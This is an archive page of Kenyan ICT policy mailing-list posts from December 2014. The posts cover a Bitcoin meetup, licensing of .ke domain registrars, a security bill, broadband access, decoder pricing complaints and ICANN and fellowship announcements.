Listers, >>>>>>> >>>>>>> Bitcoin Meetup sign up here: >>>>>>> <https://mail.google.com/mail/u/0/goog_1446634865> >>>>>>> http://www.meetup.com/Kenya-Bitcoin/events/218657905/ >>>>>>> >>>>>>> Bitcoin which is like *global M-Pesa is* the World’s most >>>>>>> celebrated digital and crypto-currency. The past 5 years has seen this new >>>>>>> technology experience gradual and steady growth in use around the World. >>>>>>> Bitcoin today has over 10 million users globally and is growing fast! >>>>>>> Together with the African Digital Currency Association(ADCA) we are >>>>>>> hosting a Bitcoin Meetup on Monday 1st December 2014 5:30PM at the >>>>>>> iHub, 4th Floor, Bishop Magua Centre, Ngong Road, Directly opposite Uchumi, >>>>>>> Ngong Road. We look forward to demonstrating how you can Buy, Trade and >>>>>>> Store your Bitcoin in this session. >>>>>>> >>>>>>> Come prepared with your Bitcoin Wallets which you can download from >>>>>>> Google Play and Apple Store as Whive <http://Whive.org> will be >>>>>>> sponsoring free BTC Giveways. >>>>>>> >>>>>>> If you have no idea how to set up the wallet buzz me off-list and I >>>>>>> will help. >>>>>>> >>>>>>> Bitcoin Meetup sign up here: >>>>>>> <https://mail.google.com/mail/u/0/goog_1446634865> >>>>>>> http://www.meetup.com/Kenya-Bitcoin/events/218657905/ >>>>>>> >>>>>>> As background info read about E.A legal status and regulation of >>>>>>> Bitcoin on the iHub community blog here. Post by ADCA lead Michael Kimani. >>>>>>> >>>>>>> >>>>>>> http://community.ihub.co.ke/blogs/21585/digital-currency-regulation-in-east… >>>>>>> >>>>>>> See you there, >>>>>>> >>>>>>> John Karanja >>>>>>> >>>>>>> >>>>>>> _______________________________________________ >>>>>>> skunkworks mailing list >>>>>>> skunkworks(a)lists.my.co.ke >>>>>>> ------------ >>>>>>> List info, subscribe/unsubscribe >>>>>>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >>>>>>> ------------ >>>>>>> >>>>>>> Skunkworks Rules >>>>>>> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >>>>>>> ------------ >>>>>>> Other services @ http://my.co.ke >>>>>>> >>>>>> >>>>>> >>>>>> >>>>>> -- >>>>>> "Change is slow and gradual. It requires hardwork, a bit of >>>>>> luck, a fair amount of self-sacrifice and a lot of patience." >>>>>> >>>>>> Roy. >>>>>> >>>>>> _______________________________________________ >>>>>> skunkworks mailing list >>>>>> skunkworks(a)lists.my.co.ke >>>>>> ------------ >>>>>> List info, subscribe/unsubscribe >>>>>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >>>>>> ------------ >>>>>> >>>>>> Skunkworks Rules >>>>>> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >>>>>> ------------ >>>>>> Other services @ http://my.co.ke >>>>>> >>>>> >>>>> >>>>> _______________________________________________ >>>>> skunkworks mailing list >>>>> skunkworks(a)lists.my.co.ke >>>>> ------------ >>>>> List info, subscribe/unsubscribe >>>>> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >>>>> ------------ >>>>> >>>>> Skunkworks Rules >>>>> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >>>>> ------------ >>>>> Other services @ http://my.co.ke >>>>> >>>> >>> >>> >>> -- >>> "Change is slow and gradual. It requires hardwork, a bit of >>> luck, a fair amount of self-sacrifice and a lot of patience." >>> >>> Roy. >>> >>> _______________________________________________ >>> kictanet mailing list >>> kictanet(a)lists.kictanet.or.ke >>> https://lists.kictanet.or.ke/mailman/listinfo/kictanet >>> >>> Unsubscribe or change your options at >>> https://lists.kictanet.or.ke/mailman/options/kictanet/pkariuki%40gmail.com >>> >>> The Kenya ICT Action Network (KICTANet) is a multi-stakeholder platform >>> for people and institutions interested and involved in ICT policy and >>> regulation. The network aims to act as a catalyst for reform in the ICT >>> sector in support of the national aim of ICT enabled growth and development. >>> >>> KICTANetiquette : Adhere to the same standards of acceptable behaviors >>> online that you follow in real life: respect people's times and bandwidth, >>> share knowledge, don't flame or abuse or personalize, respect privacy, do >>> not spam, do not market your wares or qualifications. >>> >> >> >> >> -- >> Warm Regards, >> >> Phares Kariuki >> >> *E*: pkariuki(a)gmail.com | *Twitter*: kaboro | *B*: http://www.angani.co | >> Angani Limited >> >> >> _______________________________________________ >> skunkworks mailing list >> skunkworks(a)lists.my.co.ke >> ------------ >> List info, subscribe/unsubscribe >> http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks >> ------------ >> >> Skunkworks Rules >> http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 >> ------------ >> Other services @ http://my.co.ke >> > > _______________________________________________ > skunkworks mailing list > skunkworks(a)lists.my.co.ke > ------------ > List info, subscribe/unsubscribe > http://lists.my.co.ke/cgi-bin/mailman/listinfo/skunkworks > ------------ > > Skunkworks Rules > http://my.co.ke/phpbb/viewtopic.php?f=24&t=94 > ------------ > Other services @ http://my.co.ke

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Re: [kictanet] Licensing Framework for .ke - This is a reminder to get some response from CA, KENIC, DRAKE
by Ali Hussein 10 Dec '14

10 Dec '14

Rose Asante. Regards Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad > On Dec 9, 2014, at 12:54 PM, Rose Maghas <rose(a)gbc.co.ke> wrote: > > Ali, > > Sure let’s take this offline. There is a lot we can achieve with this framework. The fees is one time of Kshs 10,000/- > > The Registrars shall be issued with an authorization upon fulfillment of the above requirements and payment of a onetime registration fee of Kshs 10,000. > > Regards, > > Rose > > From: Ali Hussein [mailto:ali@hussein.me.ke] > Sent: 09 December 2014 12:32 > To: Rose Maghas > Cc: KICTAnet ICT Policy Discussions; <rosemaghas(a)gmail.com> > Subject: Re: [kictanet] Licensing Framework for .ke - This is a reminder to get some response from CA, KENIC, DRAKE > > Rose > > I appreciate your response albeit 11 days later. :) > > As a founding member of DRAKE I'm concerned that the association of Registrars is taking this lying down. I however will take this up with you offline and see if there is a place for a contrary viewpoint on this. I firmly believe that regulation is there to make things better and provide an enabling environment for players to play. > > Do we know what the fees for licensing are? This half-backed implementation of a licensing framework doesn't auger well for the sector. > > Ali Hussein > > +254 770 906375 / 0713 601113 > > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > Blog: www.alyhussein.com > > > "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein > > > Sent from my iPad > > On Dec 9, 2014, at 11:57 AM, Rose Maghas <rose(a)gbc.co.ke> wrote: > > Dear Ali and all Listers, > > If you look at the The Kenya Information And Communications Act Chapter 411A, specifically section 83D it states > 83D. (1) No person shall— > (a) operate an electronic certification system; or > > (b) update a repository or administer a sub-domain in the Kenya country top level domain (.ke ccTLD); > except in accordance with a licence granted under this Act. > > For implementation of the Act , it therefore requires that if registrars are going to administer the domains by way of being the admin contact, they do require to be licensed. > > Now to go specifically to the questions you raised: > > 1. Shouldn't the CA/KeNIC simply have informed Registrars on the new licensing framework etc.? This is a simple matter. KeNIC has all the contacts (through DRAKE) of the Registrars. Better still, wouldn't it be even a better idea to convene a meeting where we are all taken through the new regime? Can this new framework be shared via email to all interested parties? > > I cannot speak for CA or KENIC. However the “ccTLD consultation Paper on Licensing Framework” that was sent out in January by Christopher Wambua had an item on licensing of registrars under item no. 4.2 and I quote “4.2.Dot KE Subdomain Name Registrars > Dot KE ccTLD subdomain Registrars shall be required to obtain a licence from the Commission as a requirement for accreditation from the Dot KE ccTLD and > subdomains Registry to provide Dot KE ccTLD subdomain Registrar services.” > > 2. What is DRAKE's official position on this? > Having read through the document and participated as a stakeholder, DRAKE does support the implementation of the same. > > 3. As a Registrar the first thing that comes to mind is this:- > > Are we not complicating and putting barriers for businesses to sell .ke domains by requiring them to be licensed by CA? Isn't it enough that the Registry is now being licensed and that the Registry vets Registrars? How are we going to grow .ke if we now have to troop to CA every year? > I stand corrected but I have NEVER required to be licensed by CA or ICANN to sell .ug, .tz, .com .net etc. Is it just me or is there something more to this than meets the eye? > > I believe with this kind of framework, we can demand more from both CA and KENIC and we know that if KENIC fails we have CA to whom we can require and demand both the right policies and environment to enhance our domain registration business. > > Regards, > > Rose Maghas > DRAKE Chairperson > 0786 220001 > > From: kictanet [mailto:kictanet-bounces+rosemaghas=gmail.com@lists.kictanet.or.ke] On Behalf Of Ali Hussein via kictanet > Sent: 09 December 2014 10:30 > To: rosemaghas(a)gmail.com > Subject: Re: [kictanet] Licensing Framework for .ke - This is a reminder to get some response from CA, KENIC, DRAKE > > To CA, KENIC, DRAKE and other stakeholders > > I'm really curious that something as important as this has gone unanswered by you. What are we to make of this? > > Can you please give us direction. > > Regards > > Ali Hussein > > +254 770 906375 / 0713 601113 > > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > Blog: www.alyhussein.com > > > > "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein > > > > Sent from my iPad > > On Nov 27, 2014, at 10:40 AM, Ali Hussein <ali(a)hussein.me.ke> wrote: > > Listers > > Apologies for cross posting. > > The above refers. Please see attached an advert appearing in the local newspapers regarding the above. > > The gist of the advert is to state:- > > 1. The CA has now developed a licensing framework to administer the .KE name space. > 2. That before any Registrar purports to sell or be accredited by KeNIC they must first be licensed by CA. > 3. That if you require more information on the above please contact the CA. > > > Now, listers, a number of things have been playing in my mind over the last few days. And these are:- > > 1. Shouldn't the CA/KeNIC simply have informed Registrars on the new licensing framework etc.? This is a simple matter. KeNIC has all the contacts (through DRAKE) of the Registrars. Better still, wouldn't it be even a better idea to convene a meeting where we are all taken through the new regime? Can this new framework be shared via email to all interested parties? > > 2. What is DRAKE's official position on this? > > 3. As a Registrar the first thing that comes to mind is this:- > > Are we not complicating and putting barriers for businesses to sell .ke domains by requiring them to be licensed by CA? Isn't it enough that the Registry is now being licensed and that the Registry vets Registrars? How are we going to grow .ke if we now have to troop to CA every year? > > I stand corrected but I have NEVER required to be licensed by CA or ICANN to sell .ug, .tz, .com .net etc. Is it just me or is there something more to this than meets the eye? > > C'mon guys, lets not complicate matters unnecessarily! > > Ali Hussein > > > Tel: +254 770 906375/ 713 601113 > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > Blog: www.alyhussein.com > > > Any information of a personal nature expressed in this email are purely mine and do not necessarily reflect the official positions of the organizations that I work with. > <CA.Public Notice on .KE and Licensing of .ke Registrars.pdf> > <ccTLD_Consulation_Paper_on_Licensing_Framework.pdf>

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Call for Applications - Presidential Digital Talent Programme (PDTP)
by Matunda Nyanchama 10 Dec '14

10 Dec '14

This may be of interest; check pp53 of Daily Nation December 10, 2014; and also www.icta.go.ke ---------------------------------------------------------------------------------------------- Matunda Nyanchama, PhD, CISSP; mnyanchama(a)aganoconsulting.com Agano Consulting Inc.; www.aganoconsulting.com; Twitter: nmatunda; Skype: okiambe ----------------------------------------------------------------------------------------------Manage your ICT risks! We are the experts you need! The trusted partners you deserve!Call: +1-888-587-1150 (Canada) +254-20-267-0743 (Kenya) or info(a)aganoconsulting.comLicensed by Communications Authority of Kenya (CA) ----------------------------------------------------------------------------------------------"The best revenge is massive success" - Frank Sinatra----------------------------------------------------------------------------------------------- This e-mail, including attachments, may be privileged and may contain confidential or proprietary information intended only for the addressee(s). Any other distribution, copying, use, or disclosure is unauthorized and strictly prohibited. If you have received this message in error, please notify the sender immediately by reply e-mail and permanently delete the message, including any attachments, without making a copy. Thank you.

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Balance between privacy and security- Kenyan new security Bill
by Ephraim Percy Kenyanito 09 Dec '14

09 Dec '14

Apologies for cross posting, http://www.capitalfm.co.ke/news/2014/12/investigative-journalists-on-the-sp… "The Bill also proposes to allow the National Security Organs to intercept communication for the purpose of detecting, deterring and disrupting terrorism and related activities." "Owing to the fact that the National Assembly will be going on recess on Thursday coupled with the urgent need to contain the security situation in the country, the House has in the meantime approved that debate on this Bill be fast tracked, with publication period shortened from 14 days to just a day. Public debate on these proposals is due Wednesday. " -- Best Regards, *Ephraim Percy Kenyanito* PGP: E6BA8DC1

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Re: [kictanet] [isoc_ke] LTE/4G and the state of broadband and Universal Access in Kenya
by Victor Kapiyo 09 Dec '14

09 Dec '14

I digress, why aren't telcos developing public wifi hotspots, to complement their poor 3G/4G coverage? I think they can be useful in promoting access, since we only have G or 2G coverage in most places ax the country. Victor Victor Kapiyo ==================================================== *"Your attitude, not your aptitude, will determine your altitude" Zig Ziglar* On 9 December 2014 at 13:43, WANGARI KABIRU via isoc <isoc(a)lists.my.co.ke> wrote: > Happy Tuesday! > > Kivuva > > I do hope you are well. > > Anyone with experience on being able to access the internet without the > use of Airtime/TalkTime/Scratch Cards and the Bundles et al. > > Beyond the infrastructural aspects and their reach, this is a hidden > costly factor limiting universal access. > > Most of all, is their limiting the volume of access which is what > determines how valuable and useful the said access is to you - think > research, general knowledge, communication chats. > > There has to be another way to access for every Tom,Dick,Harry and Wanjiku. > > Have a blessed day. > > Regards/Wangari > > --- > Pray God Bless. 2013Wangari circa - "Being of the Light, We are Restored > Through Faith in Mind, Body and Spirit; We Manifest The Kingdom of God on > Earth". > > > On Tuesday, 9 December 2014, 11:55, Ali Hussein via isoc < > isoc(a)lists.my.co.ke> wrote: > > > Mwendwa > > Thanks for reviving this issue of Universal Access. This is an issue that > has been raised time and again on this forum. We have it on good authority > that the Policy Makers read this list avidly. So the fact that they remain > silent on this issue is a serious indictment on them on whether they take > us seriously. > > As Walu put it aptly the other day:- > > 'if you are not addressing this forum of stakeholders then who are they > addressing?' > > > *Ali Hussein* > > +254 770 906375 / 0713 601113 > > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > <http://ke.linkedin.com/in/alihkassim> > Blog: www.alyhussein.com > > "I fear the day technology will surpass human interaction. The world will > have a generation of idiots". ~ Albert Einstein > > Sent from my iPad > > On Dec 9, 2014, at 9:44 AM, Mwendwa Kivuva via isoc <isoc(a)lists.my.co.ke> > wrote: > > (Apologies for cross-posting) > > Nothing is as great as high internet speed. That is the mantra on > Safaricom's 4G page (1). Safaricom's 4G/LTE service is the first of > its kind in the region and promises a browsing experience like never > before. Long Term Evolution (LTE) is a standard for wireless > communication of high-speed data for mobile phones and data > terminals.(2) > > To use LTE you need a 4G capable Device (phone/tablet/modem), Change > to a 4G enabled SIM card and be in an area covered by the 4G service > i.e. Some parts of Nairobi and Mombasa. > > With the rollout of 4G in some parts of Nairobi and Mombasa, we are > exploring the state of "real" broadband in Kenya, the cost to the > common citizen, and coverage. As we continue to privilege those of us > in urban areas, how are we catering for the interests and needs of the > marginalized? > > TESPOK in August issued a statement (3) advising it's members not to > pay Universal Service Fund (4) until they meet with the Communications > Authority Director General and ICT cabinet Secretary to clearly define > the procedures and processes of administering the 0.5% of operators' > annual revenues. What is the current state of USF in Kenya? Is it > operational? Is the 0.5% sufficient to have any impact in society? > > Are the USF Council members (5) representative of the Internet > community in Kenya? Are all stakeholders interests taken into > consideration in forming the council? Would these distinguished > citizens know the troubles the user in Kitui goes through when he has > to climb a flag-post to get network signal, or the parcel that arrives > in Lokitang after a month? > > Internet Society Kenya Chapter and Kictanet seeks to engage in a > series of online discussions covering various trending issues which > will culminate in a public consultative forum with industry and > policymakers to share the feedback from the community and see how best > we can influence and shape the Internet landscape in Kenya. > > Your valuable contribution is always appreciated. > > Sincerely, > ______________________ > Mwendwa Kivuva, Nairobi, Kenya > Secretary, Internet Society Kenya. > > NOTES > (1). http://www.safaricom.co.ke/personal/internet/safaricom-4g-lte > (2). http://en.wikipedia.org/wiki/LTE_%28telecommunication%29 > (3). http://www.tespok.co.ke/?p=310 > (4). http://ca.go.ke/index.php/purpose-of-the-fund > (5). http://ca.go.ke/index.php/universal-service-advisory-council > > _______________________________________________ > isoc mailing list > isoc(a)lists.my.co.ke > http://lists.my.co.ke/cgi-bin/mailman/listinfo/isoc > > > _______________________________________________ > isoc mailing list > isoc(a)lists.my.co.ke > http://lists.my.co.ke/cgi-bin/mailman/listinfo/isoc > > > > _______________________________________________ > isoc mailing list > isoc(a)lists.my.co.ke > http://lists.my.co.ke/cgi-bin/mailman/listinfo/isoc >

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Re: [kictanet] Licensing Framework for .ke - This is a reminder to get some response from CA, KENIC, DRAKE
by Ali Hussein 09 Dec '14

09 Dec '14

Rose I appreciate your response albeit 11 days later. :) As a founding member of DRAKE I'm concerned that the association of Registrars is taking this lying down. I however will take this up with you offline and see if there is a place for a contrary viewpoint on this. I firmly believe that regulation is there to make things better and provide an enabling environment for players to play. Do we know what the fees for licensing are? This half-backed implementation of a licensing framework doesn't auger well for the sector. Ali Hussein +254 770 906375 / 0713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim Blog: www.alyhussein.com "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein Sent from my iPad > On Dec 9, 2014, at 11:57 AM, Rose Maghas <rose(a)gbc.co.ke> wrote: > > Dear Ali and all Listers, > > If you look at the The Kenya Information And Communications Act Chapter 411A, specifically section 83D it states > 83D. (1) No person shall— > (a) operate an electronic certification system; or > > (b) update a repository or administer a sub-domain in the Kenya country top level domain (.ke ccTLD); > except in accordance with a licence granted under this Act. > > For implementation of the Act , it therefore requires that if registrars are going to administer the domains by way of being the admin contact, they do require to be licensed. > > Now to go specifically to the questions you raised: > > 1. Shouldn't the CA/KeNIC simply have informed Registrars on the new licensing framework etc.? This is a simple matter. KeNIC has all the contacts (through DRAKE) of the Registrars. Better still, wouldn't it be even a better idea to convene a meeting where we are all taken through the new regime? Can this new framework be shared via email to all interested parties? > > I cannot speak for CA or KENIC. However the “ccTLD consultation Paper on Licensing Framework” that was sent out in January by Christopher Wambua had an item on licensing of registrars under item no. 4.2 and I quote “4.2.Dot KE Subdomain Name Registrars > Dot KE ccTLD subdomain Registrars shall be required to obtain a licence from the Commission as a requirement for accreditation from the Dot KE ccTLD and > subdomains Registry to provide Dot KE ccTLD subdomain Registrar services.” > > 2. What is DRAKE's official position on this? > Having read through the document and participated as a stakeholder, DRAKE does support the implementation of the same. > > 3. As a Registrar the first thing that comes to mind is this:- > > Are we not complicating and putting barriers for businesses to sell .ke domains by requiring them to be licensed by CA? Isn't it enough that the Registry is now being licensed and that the Registry vets Registrars? How are we going to grow .ke if we now have to troop to CA every year? > I stand corrected but I have NEVER required to be licensed by CA or ICANN to sell .ug, .tz, .com .net etc. Is it just me or is there something more to this than meets the eye? > > I believe with this kind of framework, we can demand more from both CA and KENIC and we know that if KENIC fails we have CA to whom we can require and demand both the right policies and environment to enhance our domain registration business. > > Regards, > > Rose Maghas > DRAKE Chairperson > 0786 220001 > > From: kictanet [mailto:kictanet-bounces+rosemaghas=gmail.com@lists.kictanet.or.ke] On Behalf Of Ali Hussein via kictanet > Sent: 09 December 2014 10:30 > To: rosemaghas(a)gmail.com > Subject: Re: [kictanet] Licensing Framework for .ke - This is a reminder to get some response from CA, KENIC, DRAKE > > To CA, KENIC, DRAKE and other stakeholders > > I'm really curious that something as important as this has gone unanswered by you. What are we to make of this? > > Can you please give us direction. > > Regards > > Ali Hussein > > +254 770 906375 / 0713 601113 > > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > Blog: www.alyhussein.com > > > "I fear the day technology will surpass human interaction. The world will have a generation of idiots". ~ Albert Einstein > > > Sent from my iPad > > On Nov 27, 2014, at 10:40 AM, Ali Hussein <ali(a)hussein.me.ke> wrote: > > Listers > > Apologies for cross posting. > > The above refers. Please see attached an advert appearing in the local newspapers regarding the above. > > The gist of the advert is to state:- > > 1. The CA has now developed a licensing framework to administer the .KE name space. > 2. That before any Registrar purports to sell or be accredited by KeNIC they must first be licensed by CA. > 3. That if you require more information on the above please contact the CA. > > > Now, listers, a number of things have been playing in my mind over the last few days. And these are:- > > 1. Shouldn't the CA/KeNIC simply have informed Registrars on the new licensing framework etc.? This is a simple matter. KeNIC has all the contacts (through DRAKE) of the Registrars. Better still, wouldn't it be even a better idea to convene a meeting where we are all taken through the new regime? Can this new framework be shared via email to all interested parties? > > 2. What is DRAKE's official position on this? > > 3. As a Registrar the first thing that comes to mind is this:- > > Are we not complicating and putting barriers for businesses to sell .ke domains by requiring them to be licensed by CA? Isn't it enough that the Registry is now being licensed and that the Registry vets Registrars? How are we going to grow .ke if we now have to troop to CA every year? > > I stand corrected but I have NEVER required to be licensed by CA or ICANN to sell .ug, .tz, .com .net etc. Is it just me or is there something more to this than meets the eye? > > C'mon guys, lets not complicate matters unnecessarily! > > Ali Hussein > > > Tel: +254 770 906375/ 713 601113 > Twitter: @AliHKassim > Skype: abu-jomo > LinkedIn: http://ke.linkedin.com/in/alihkassim > Blog: www.alyhussein.com > > > Any information of a personal nature expressed in this email are purely mine and do not necessarily reflect the official positions of the organizations that I work with. > <CA.Public Notice on .KE and Licensing of .ke Registrars.pdf> > <ccTLD_Consulation_Paper_on_Licensing_Framework.pdf>

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Re: [kictanet] Digital migration (Decorders)
by Consumers Federation of Kenya (COFEK) 09 Dec '14

09 Dec '14

Dear Mr Muthengi, We appreciate your kind opinion and advise you that Cofek has planned a public forum on #DigitalMigration on Thursday, December 11, 2014 from 7.00 am to 11.00 am. The event will be officiated by ICT Secretary Dr Fred Matiang'i. The meeting is aimed at creating awareness on some of the issues you are raising. We have been clearly informing consumers that there is a difference between pay-tv (cheaper but with subscriptions) and FTA(one-off but expensive) decoders. We have also shared the CA link of all other STB vendors. Apparently, you seem to be the only one complaining. Unknown to you, we were part of the exercise that negotiated with GotvKenya and StarTimesKenya on lowering the cost of their set top boxes in order to trigger price cuts. You must, however, understand that they make their own business decisions. We will continue to work with all key stakeholders the pay-tv vendors, CA and MOICT to sensitize consumers on the information you have shared. You are also invited to our Thursday event. We will be happy to give you a brief opportunity to add value to the need for more sensitization. Thank you. Yours Sincerely, David Kedode (for Cofek) From: John Muthengi [mailto:wanyiva@hotmail.com] Sent: Tuesday, December 09, 2014 11:18 AM To: david(a)cofek.co.ke; theresia(a)cofek.co.ke Cc: cpa(a)ca.go.ke; wangusi(a)ca.go.ke; otieno(a)ca.go.ke; alwala(a)ca.go.ke; ambani(a)ca.go.ke; hotline(a)cofek.co.ke; editor(a)ke.nationmedia.com; editorial(a)standardmedia.co.ke; kictanet(a)lists.kictanet.or.ke; ikburuett(a)ca.go.ke Subject: Digital migration (Decorders) Dear David Kedode (COFEK) I reside in Nairobi. Recently after the analogue switch off dates were announced on the national dailies, I was given i pamphlet on the street of Nairobi by GOtv Kenya and StarTimes. The GOtv Kenya pamphlet had indicated that their decoders prices is Ksh. 1799 and 2 month free access. The StartTime pamphlet had indicated that their decoders prices is Ksh 199 and monthly subscription for Ksh. 149 with no mention on whether they are Free to air(FTA) Set-top Box These prices were very intriguing so I decided to visit their tents to secure one only to discover that the information on the pamphlet was only to confuse the consumer. I think think they should be compelled to fully disclose full details on front details because the I feel they are confusing consumers. They have opted to put FREE TO AIR(FTA) prices at the back of the pamphlet while most consumers tend to read top page. GOtv Kenya sales guy advised me that FTA decoder was actually costing Kshs. (1,799+2,600=4,399) and StarTimes FTA decoder of Ksh.199 was not true because the FTA decoder is actually trading at Ksh. 3999. When I saw your email you circulated I was very disappointing because you seem to have turned your great organisation into marketing agency of the two marketers instead of protecting consumers. I also think you were impartial and misleading to campaign for two marketers while we have others selling Digital migration Set-top Box(STB) even at cheaper prizes as I have seem in CA website. Ideally you should have taken time to research and check who has best prices and more so after you put-up a paid up advertisement on Standard newspaper of 27th November 2014 advising consumers on FTA Set-top Boxes. In my view you are now protecting marketers and not consumers. Also it is very important to be aware that digital migration is a big financial burden to middle low and lower class Kenyans who have limited financial resources at their disposal. They do not have the financial capacity to afford Pay-tv whose FTA set-Top boxes whose cost is high to to monthly subscriptions. They deserve your protection and not exploitation. Your impartiality has even gone a notch higher by allowing the two marketers to take over your website to display this misleading information. I sincerely feel that the consumer should be well informed about the a product before any purchase and I felt that my right as a consumer was been violated by your uncalled for action. I hope this complain will be given at-most attention. Kind Regards John Muthengi (Nairobi)

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Fwd: [AfrICANN-discuss] Apply Now for ICANN Leadership Positions
by Bob Omondi 09 Dec '14

09 Dec '14

FYI.... Regards Bob. ---------- Forwarded message ---------- From: Yaovi Atohoun <yaovito(a)yahoo.fr> Date: Tue, Dec 9, 2014 at 9:27 AM Subject: [AfrICANN-discuss] Apply Now for ICANN Leadership Positions To: "africann(a)afrinic.net" <africann(a)afrinic.net> Dear all, The Internet Corporation for Assigned Names and Numbers' (ICANN) Nominating Committee (NomCom) invites interested individuals to submit applications and/or to recommend candidates for ICANN's key leadership positions. Please read the full announcement at https://www.icann.org/news/announcement-2014-12-08-en Bonjour à tous, Le comité de Nomination de l'ICANN vous invite à postuler ou à recommander des personnes pour des postes de responsabilités au sein de l'ICANN. Plus de détails sur l'annonce sont disponibles à l'adresse https://www.icann.org/news/announcement-2014-12-08-en Merci - Yaovi Atohoun Stakeholder Engagement and Operations Manager, Africa ICANN www.icann.org Mobile : +229 66015649 / 97891228 _______________________________________________ AfrICANN mailing list AfrICANN(a)afrinic.net https://lists.afrinic.net/mailman/listinfo.cgi/africann

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Licensing Framework for .ke
by Ali Hussein 09 Dec '14

09 Dec '14

Listers Apologies for cross posting. The above refers. Please see attached an advert appearing in the local newspapers regarding the above. The gist of the advert is to state:- 1. The CA has now developed a licensing framework to administer the .KE name space. 2. That before any Registrar purports to sell or be accredited by KeNIC they must first be licensed by CA. 3. That if you require more information on the above please contact the CA. Now, listers, a number of things have been playing in my mind over the last few days. And these are:- 1. Shouldn't the CA/KeNIC simply have informed Registrars on the new licensing framework etc.? This is a simple matter. KeNIC has all the contacts (through DRAKE) of the Registrars. Better still, wouldn't it be even a better idea to convene a meeting where we are all taken through the new regime? Can this new framework be shared via email to all interested parties? 2. What is DRAKE's official position on this? 3. As a Registrar the first thing that comes to mind is this:- Are we not complicating and putting barriers for businesses to sell .ke domains by requiring them to be licensed by CA? Isn't it enough that the Registry is now being licensed and that the Registry vets Registrars? How are we going to grow .ke if we now have to troop to CA every year? I stand corrected but I have NEVER required to be licensed by CA or ICANN to sell .ug, .tz, .com .net etc. Is it just me or is there something more to this than meets the eye? C'mon guys, lets not complicate matters unnecessarily! *Ali Hussein* Tel: +254 770 906375/ 713 601113 Twitter: @AliHKassim Skype: abu-jomo LinkedIn: http://ke.linkedin.com/in/alihkassim <http://ke.linkedin.com/in/alihkassim> Blog: www.alyhussein.com Any information of a personal nature expressed in this email are purely mine and do not necessarily reflect the official positions of the organizations that I work with.

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East Africa Datacenter Tour
by Riyaz Bachani 08 Dec '14

08 Dec '14

Following a previous thread here, we talked to the EADC team about hosting a community tour & they agreed ! This is your chance to see the most ultra-modern and impressive datacenter in Kenya. Please RSVP as slots are limited to 30. http://community.ihub.co.ke/blogs/21883/east-africa-data-centre-eadc-tour The East Africa Data Centre is a carrier-neutral data centre along Mombasa Road. *On December 10th 2014*, the EADC is showcasing their ultra modern facility to the Kenyan tech community. At 2000 sq/m across four floors, it is the largest Tier 3 data centre in east and central Africa. Purposely built to international standards, it offers guaranteed availability of power and cooling making it a perfect fit for business that require cloud services. A panoply of services offered by EADC are reliable space for dedicated hosting, interconnect services, collocation, disaster recovery, network-based services, applications and cloud services to carriers, network providers and enterprises from across the continent. The tour of the facility will be followed by a mini cocktail. A bus shuttle service will depart from the Bishop Magua Centre to the venue at 1:15 pm. Please be punctual.

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ICANN 53 Fellowship Applications now open.
by Bob Omondi 08 Dec '14

08 Dec '14

Dear Listers, ICANN's current application round seeks prospective candidates for the June 2015 ICANN Meeting in Buenos Aires, Argentina. The application process closes on 16 January 2015, with successful candidates announced on the ICANN website on 6 March 2015. For more information about the Fellowship Program or about how to apply, visit ICANN's Fellowship Program page here. <https://www.icann.org/resources/pages/fellowships-2012-02-25-en> Please see the full announcement here: https://www.icann.org/news/announcement-2014-12-05-en Regards Bob.

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USHIRIKI APPLICATION- The first ever Accessibility application locator
by Judy Okite 08 Dec '14

08 Dec '14

Greetings Everyone, hope that this finds you all in perfect health. on The 3rd December 2014, the Ushiriki Application(Beta Version) was officially launched ....this is the first ever application dedicated to Locate Accessible buildings for persons with disability . Ushiriki is a swahili word meaning participation and we are calling on to you to participate so as to gather this vital data. Ever wondered what it means with accessible building....the checklist gives the basic information on this ....kindly add your building and what applies On the documentation tab, you will find the details of the application and how to participate. Thank you for your time and Support. Share with us any challenges/difficulties on the application as we continue to work on it. http://japakgis.com/ushiriki/# Kind Regards, *'Chance Favors the prepared mind'* - Louis Pasteur

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African Open Government Fellowships
by Ephraim Percy Kenyanito 06 Dec '14

06 Dec '14

Dear all, The following fellowships might be of interest to those working on Open Government. -- Best Regards, *Ephraim Percy Kenyanito* Website: http://about.me/ekenyanito http://opengovfellows.codeforafrica.org/open-knowledge-and-code-for... <http://opengovfellows.codeforafrica.org/open-knowledge-and-code-for-africa-…> Pioneering Fellowships Will Help Rewire Africa’s Governments *(Application deadline: 15 December 2014)* Do you want to help us build African governments and societies that are more accountable and responsive to citizens? We are looking for the best ideas for harnessing the power of digital technologies and open data, to improve the way that governments and citizens interact. *Code for Africa* <http://www.codeforafrica.org/> and *Open Knowledge* <https://okfn.org/> are offering three pilot *Open Government Fellowships* to give outstanding changemakers the skills, tools and resources necessary to kickstart open government initiatives in their countries. The six-month fellowships are intended to empower pioneers who are already working in the open data or civic engagement communities, and are designed to augment their existing ‘day jobs’ rather than remove them from their organisations. Successful fellows will therefore only be expected to work part-time on their fellowship projects (which could include new initiatives at their ‘day jobs’), but will receive strategic and material support throughout their fellowship. This support will include a modest $1,000 per month stipend, a $3,000 seed fund to kickstart projects, a travel budget to 